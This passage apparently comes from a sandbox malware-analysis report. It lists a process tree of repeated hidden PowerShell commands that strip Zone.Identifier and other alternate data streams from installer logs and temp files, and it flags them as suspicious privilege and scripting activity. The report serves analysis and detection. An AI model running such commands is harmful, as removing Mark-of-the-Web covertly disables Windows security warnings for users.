      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260514005411.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4064
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260514005411.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2988
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260514005411_000_dotnet_runtime_7.0.16_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4784
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260514005411_000_dotnet_runtime_7.0.16_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:2068
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260514005411_001_dotnet_hostfxr_7.0.16_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:988
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260514005411_001_dotnet_hostfxr_7.0.16_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4296
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260514005411_002_dotnet_host_7.0.16_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4720
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260514005411_002_dotnet_host_7.0.16_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:632
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260514005411_003_windowsdesktop_runtime_7.0.16_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2028
      • C:\Windows\System32\Conhost.exe
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        3⤵
          PID:464
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260514005411_003_windowsdesktop_runtime_7.0.16_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3576
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260514005433.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3456
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260514005433.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:3740
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260514005433_000_dotnet_runtime_8.0.15_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
        2⤵
          PID:4788
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260514005433_000_dotnet_runtime_8.0.15_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
          2⤵
            PID:2064
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260514005433_001_dotnet_hostfxr_8.0.15_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
            2⤵
              PID:4156
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260514005433_001_dotnet_hostfxr_8.0.15_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
              2⤵
                PID:5052
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260514005433_002_dotnet_host_8.0.15_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                2⤵
                  PID:5084
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260514005433_002_dotnet_host_8.0.15_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:1128
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260514005433_003_windowsdesktop_runtime_8.0.15_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:1176
                  • C:\Windows\System32\Conhost.exe
                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    3⤵
                      PID:2724
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260514005433_003_windowsdesktop_runtime_8.0.15_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                    2⤵
                    • Command and Scripting Interpreter: PowerShell
                    PID:3512
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\OneNote:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                    2⤵
                      PID:1568
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\OneNote'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                      2⤵
                        PID:2972
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Outlook Logging:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                        2⤵
                          PID:2392
                          • C:\Windows\System32\Conhost.exe
                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            3⤵
                              PID:4156
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Outlook Logging'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                            2⤵
                              PID:2832
                              • C:\Windows\System32\Conhost.exe
                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                3⤵
                                  PID:5052
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3A94.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                2⤵
                                  PID:5084
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3A94.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                  2⤵
                                    PID:3508
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3AA6.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                    2⤵
                                      PID:4876
                                      • C:\Windows\System32\Conhost.exe
                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        3⤵
                                          PID:3740
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3AA6.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                        2⤵
                                          PID:3688
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3AA9.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                          2⤵
                                            PID:772
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3AA9.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                            2⤵
                                              PID:4552
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3AAA.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                              2⤵
                                                PID:2428
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3AAA.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                2⤵
                                                  PID:1924
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3AAF.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                  2⤵
                                                    PID:2192
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3AAF.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                    2⤵
                                                      PID:3764
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3AB0.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                      2⤵
                                                        PID:1700
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3AB0.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                        2⤵
                                                          PID:1476
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3AC1.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                          2⤵
                                                            PID:64
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3AC1.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                            2⤵
                                                              PID:4872
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3AC4.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                              2⤵
                                                                PID:4924
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3AC4.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                2⤵
                                                                  PID:556
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3AC5.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                  2⤵
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  PID:3848
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3AC5.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                  2⤵
                                                                    PID:1328
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3AC7.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                    2⤵
                                                                      PID:1392
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3AC7.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                      2⤵
                                                                      • Command and Scripting Interpreter: PowerShell
                                                                      PID:4196
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3AC8.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                      2⤵
                                                                        PID:4688
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3AC8.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                        2⤵
                                                                          PID:1576
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3AC9.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                          2⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          PID:4208
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3AC9.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                          2⤵
                                                                            PID:3532
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3ADF.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                            2⤵
                                                                              PID:3876
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3ADF.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                              2⤵
                                                                                PID:4000
                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3AE2.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                2⤵
                                                                                  PID:3688
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3AE2.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                  2⤵
                                                                                    PID:1204
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3AE3.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                    2⤵
                                                                                      PID:756
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3AE3.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                      2⤵
                                                                                        PID:1552
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3AE4.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                        2⤵
                                                                                          PID:1516
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3AE4.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                          2⤵
                                                                                            PID:1468
                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                              3⤵
                                                                                                PID:2192
                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3AE5.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                              2⤵
                                                                                                PID:4188
                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3AE5.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                2⤵
                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                PID:3792
                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3AE6.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                2⤵
                                                                                                  PID:4544
                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3AE6.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                  2⤵
                                                                                                    PID:2156
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3AE7.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                    2⤵
                                                                                                      PID:336
                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3AE7.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                      2⤵
                                                                                                        PID:3624
                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3AFA.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                        2⤵
                                                                                                          PID:4204
                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                            3⤵
                                                                                                              PID:2428
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3AFA.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                            2⤵
                                                                                                              PID:2168
                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
